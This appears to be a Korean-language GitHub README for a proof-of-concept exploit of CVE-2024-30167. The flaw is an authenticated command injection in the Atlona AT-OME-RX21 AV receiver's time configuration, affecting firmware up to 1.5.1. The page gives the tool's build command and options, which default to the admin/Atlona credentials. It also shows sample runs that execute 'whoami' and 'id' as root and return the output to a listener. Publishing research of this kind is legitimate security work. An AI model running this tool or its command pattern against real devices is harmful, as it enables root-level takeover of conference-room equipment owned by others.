rizzziom/cve-2024-30167Atlona AT-OME-RX21의 인증된 명령 주입에 대한 개념 증명 익스플로잇으로, 시간 구성 인터페이스를 통해 루트 수준 명령 실행을 가능하게 합니다.
면책 조항: 이 개념 증명은 교육 및 연구 목적으로만 제공됩니다. 귀하가 소유하지 않거나 명시적 테스트 권한이 없는 시스템에서 이 코드를 사용하지 마십시오. 저는 어떠한 오용에 대해서도 책임을 지지 않습니다.
Atlona AT-OME-RX21 AV 스위처의 시간 구성 인터페이스에 인증된 명령 삽입 취약점이 존재합니다. 유효한 자격 증명을 가진 사용자는 root로 실행되는 운영 체제 명령을 주입하여 시스템 전체를 손상시킬 수 있습니다.
Atlona AT-OME-RX21은 전문 화상 회의 및 협업 환경을 위해 설계된 AV(오디오/비디오) 수신기 및 스케일러입니다. 주로 회의실, 교실 및 허들 공간에서 사용됩니다. 노트북/회의 시스템과 같은 장치를 디스플레이에 연결하는 데 도움을 줍니다.
이 PoC는 모든 펌웨어 버전 <= 1.5.1에서 작동합니다.
공급업체 정보: https://atlona.com/product/at-ome-rx21/
$ .\cve-2024-30167.exe -h
▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ██ ██ ████▄ ▄██▄ ▄██ ▄██▀▀▀ ██████
██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██ ██ ██ ██▄▄▄ ▄██▀
▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ██ ▄▄▄█▀ ▀██▀ ██ ▀█▄▄█▀ ██▀
PoC by: github.com/RIZZZIOM
Usage of cve-2024-30167.exe:
-P string
명령 출력을 위한 리스닝 포트 (기본값 "4444")
-c string
대상에서 실행할 명령어
-l string
명령 출력을 위한 리스닝 호스트
-p string
인증을 위한 비밀번호 (기본값 "Atlona")
-t string
대상 URL (예: http://example.com)
-u string
인증을 위한 사용자 이름 (기본값 "admin")
go build -o <출력_파일명>
$ .\cve-2024-30167.exe -P 8000 -c 'whoami' -l 192.168.1.100 -t http://192.168.1.103:1337
▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ██ ██ ████▄ ▄██▄ ▄██ ▄██▀▀▀ ██████
██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██ ██ ██ ██▄▄▄ ▄██▀
▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ██ ▄▄▄█▀ ▀██▀ ██ ▀█▄▄█▀ ██▀
PoC by: github.com/RIZZZIOM
192.168.1.100:8000에서 응답 수신 대기 중...
명령 삽입 성공
=====수신된 응답=====
root
$ .\cve-2024-30167.exe -P 8000 -c 'id' -l 192.168.1.100 -t http://192.168.1.103:1337
▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ██ ██ ████▄ ▄██▄ ▄██ ▄██▀▀▀ ██████
██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██ ██ ██ ██▄▄▄ ▄██▀
▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ██ ▄▄▄█▀ ▀██▀ ██ ▀█▄▄█▀ ██▀
PoC by: github.com/RIZZZIOM
192.168.1.100:8000에서 응답 수신 대기 중...
명령 삽입 성공
=====수신된 응답=====
uid=0(root) gid=0(root) groups=0(root)
위 명령은 기본 자격 증명을 사용하여 장치에 로그인합니다.
구문:
.\cve=2024-30167.exe -P <리스닝_포트> -c <명령어> -l <리스너_호스트> -t <대상_URI> -u <사용자명> -p <비밀번호>